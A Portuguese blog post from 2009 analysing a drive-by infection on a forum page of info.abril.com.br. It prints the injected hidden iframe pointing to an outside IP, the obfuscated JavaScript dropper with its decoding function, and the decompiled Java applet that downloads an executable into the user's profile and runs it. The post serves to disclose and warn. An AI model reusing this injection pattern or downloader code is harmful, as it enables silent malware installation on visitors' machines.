Início > Segurança > http://info.abril.com.br/ Permitindo Infecções

http://info.abril.com.br/ Permitindo Infecções

Olá pessoal estava eu navegando tranquilamente pela Internet e exatamente as 18:00 horas da data de hoje 29/10/2009 me deparo com mais uma possível tentativa de infecção via página web, desta vez o alvo foi o forum do site http://info.abril.com.br.

Vamor ver o que isso nos revela identifiquei o problema na área de forum-antigo do site não verifiquei se outras áreas estão comprometidas…

Ao entrar em http://info.abril.com.br/forum-antigo/areas.php temos várias salas de discuções,  procurei a sala de C++ que me levou para o seguinte link http://info.abril.com.br/forum-antigo/topicos.php?area=142, até ae tudo tranquilo cliquei em um tópico qualquer e por sinal os tópicos são bem antigos cliquei no tópico que havia um source em C++ com  DLLIMPORT para Ldap achei meio interessante,  ao clicar  é que a aventura se inicia fui para a seguinte página http://info.abril.com.br/forum-antigo/forum.php?topico=864538, adivinha uma janela do java pede confirmação “run”, mais uma vez vem a minha mente não vem coisa boa então vamos ao garimpo….

FreeBsd em ação:

yoda# fetch http://info.abril.com.br/forum-antigo/forum.php

humm source do forum.php dei um locate dentro dele procurando o .jar nada e nada, mas nao desisti olhei com calma logo pensei é algum frame nesta página e bingo ultima linha do source existia:

<IFRAME NAME=”editoraabril” SRC=”http://65.114.98.174/i.html” WIDTH=”0″ HIEGHT=”0″ FRAMEBORDER=”0″></IFRAME>

Ae ae ae nesse instante eu já imaginava que nao vinha coisa boa prompt do FreeBsd:

yoda# fetch http://65.114.98.174/i.html

yoda# vi i.html

para a minha surpresa olha o resultado do arquivo

yoda# cat i.html
<!–hppage status=”protected”–>
<html><!–HEAD–><SCRIPT LANGUAGE=”JavaScript”><!–
document.write(unescape(“%3C%53%43%52%49%50%54%20%4C%41%4E%47%55%41%47%45%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%3C%21%2D%2D%0D%0A%68%70%5F%6F%6B%3D%74%72%75%65%3B%66%75%6E%6
3%74%69%6F%6E%20%68%70%5F%64%30%32%28%73%29%7B%69%66%28%21%68%70%5F%6F%6B%29%72%65%74%75%72%6E%3B%76%61%72%20%6F%3D%22%22%2C%61%72%3D%6E%65%77%20%41%72%72%61%79%28%29%2C%6F%73%3
D%22%22%2C%69%63%3D%30%2C%70%3D%30%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%7B%63%3D%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%3B%69%66%28%63%3
C%31%32%38%29%63%3D%63%5E%28%28%70%2B%2B%25%38%29%2B%31%29%3B%6F%73%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%63%29%3B%69%66%28%6F%73%2E%6C%65%6E%67%74%6
8%3E%38%30%29%7B%61%72%5B%69%63%2B%2B%5D%3D%6F%73%3B%6F%73%3D%22%22%7D%7D%6F%3D%61%72%2E%6A%6F%69%6E%28%22%22%29%2B%6F%73%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%6F%29%7
D%2F%2F%2D%2D%3E%3C%2F%53%43%52%49%50%54%3E”));//–></SCRIPT><SCRIPT LANGUAGE=”JavaScript”><!–
hp_d02(unescape(“=Q@VLVS(MCMCPG@M%3C IesgTksksp’8;),/^N^Ncsikuklj%25nwWbo+-~tb|tpm$cgk{d%7Feqkesanl#luYjl)g*%7Fhgd5ocumbgsgs,vw`tFodlw*lhcmyMe,%22Kfk&+%229(7%3Cag%22+`jeredlw*dj
k!zke,`pbfu,aqqrhf%3C?1xy.jib$%25,`pbfu,`pwjLmx~%7Fasci|/if}Ficm%3C?:5,/.ssgwqwh’n`npax{bdrgxmc.b&vjjgm;:;}~+ide!.)g-ijbnnhgqw8;5t}g-gqtkCd{*-,}umuwqj%25`fdrg~yxoa ocumbgsgs,btu
Hfed,jjac%7FGg*$Mkrbzogw$@~wdnpfv%22/:5,3%7Fx-hf~hebpjt)}rgqEbci|/km“~Hn)%25NWLC ! ?.5# cgbwnakr)imn-h`h`|i#>4,/|ag*gkfsjmov-eij.slc`9kgqafcwkw(r{dpBc`hs&hlga}Ia &Obg%22/&5,38r
`ttanl>tdttmGnleq. 8&)meso`iumq*pubz@efjq(t}cqwv-hf~hebpjt)}rgqEbci|/km“~Hn)%25NWLC !*7*(46.3hd+%25hgd.’tfvvohf?6*%7Faid}lgmp+iiknlwa}rjmow>luYde|gow`}cgbwnakr)goolqvccgvl>luYj
l:flgpkbfu,ljnc~lnum9mvXee%7F~aiub(hd+`jeredlw*ig~msq*%7Froilnu-gdvs}sgFr`hs{)Guakr)ENWPAAIPF}Guakr)enfjblcu{}Guakr)CD[GKRH.3vkm`jq)goolqvccgvl>luYjl:ujjaip&nlha|bh%7Fo?ktZkcudn

~

Criptografado entao vamos descriptografar !!

Com ele descriptografado temos :

yoda# cat i_descripto.html

<script language=”JavaScript”>
</script>
<script language=”JavaScript”>
</script>
<script language=”JavaScript”>
</script>
<script language=”JavaScript”>
</script>
<script language=”JavaScript”>
</script>
<meta content=”No-Cache” http-equiv=”Pragma”/>
<meta content=”No-Cache,Must-Revalidate,No-Store” http-equiv=”Cache-Control”/>
<meta content=”NoIndex” name=”Robots”/>
<meta content=”0″ http-equiv=”Expires”/>

<applet height=”1″ width=”1″ archive=”google.jar” code=”main.class” name=”Java Plugin (Clique em ”Run” para um funcionamento correto)”/>
<noscript>To display this page you need a browser with JavaScript support.</noscript>
<script language=”JavaScript”>
</script>
yoda#

Bingo olha ae o jar google.jar  BOOMMM !!!

yoda# fetch http://65.114.98.174/google.jar

yoda# unzip google.jar
Archive:  google.jar
  inflating: META-INF/MANIFEST.MF
  inflating: META-INF/KEY.SF
  inflating: META-INF/KEY.RSA
  inflating: main.class
yoda#

Entao vamos lá eng. reversa em main.class

E ae esta o Coração do Dragão

import java.applet.Applet;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.net.URLConnection;

public class main extends Applet
{
  private static final long serialVersionUID = 2L;

  public void main_start()
    throws Exception
  {
    String str1 = System.getenv(“USERPROFILE”);
    byte[] arrayOfByte = new byte[10240];
    String str2 = getParameter(“p”);

    File localFile1 = new File(str1 + “\\maind.exe“);

    FileOutputStream localFileOutputStream = new FileOutputStream(localFile1);
    URL localURL = new URL(str2);
    URLConnection localURLConnection = localURL.openConnection();
    BufferedInputStream localBufferedInputStream = new BufferedInputStream(localURLConnection.getInputStream());

    while ((i = localBufferedInputStream.read(arrayOfByte)) > 0)
    {
      int i;
      localFileOutputStream.write(arrayOfByte, 0, i); }
    localFileOutputStream.close();
    try
    {
      Runtime.getRuntime().exec(localFile1.getAbsolutePath());
    }
    catch (IOException localIOException)
    {
      File localFile2 = File.createTempFile(“tmp”, “.bat”);
      localFile2.createNewFile();
      localFile2.deleteOnExit();
      Runtime.getRuntime().exec(localFile2.getAbsolutePath());
      localFile2.delete();
    }
    localFile1.deleteOnExit();
  }

  public void init()
  {
    try
    {
      main_start();
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
    super.init();
  }
}

Mais uma vez heim não aguento mais, Amanha vou analisar o source com carinho te mais!!

Eng Eder de Souza

Categorias:Segurança
  1. alef
    outubro 30, 2009 às 3:41 am

    $ curl http://freegeoip.net/xml/65.114.98.174

    True
    65.114.98.174
    US
    United States
    17
    Illinois
    Chicago
    60616
    41.8471
    -87.6248
    -6.0
    -5.0

  2. Rafael
    novembro 1, 2009 às 11:54 am

    Obrigado pela informação, apareceu uma janela em java aqui e pesquisando pelo IP cheguei a sua página. Estava com o fórum Info aberto.

  1. No trackbacks yet.

Deixe uma resposta

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s

%d blogueiros gostam disto: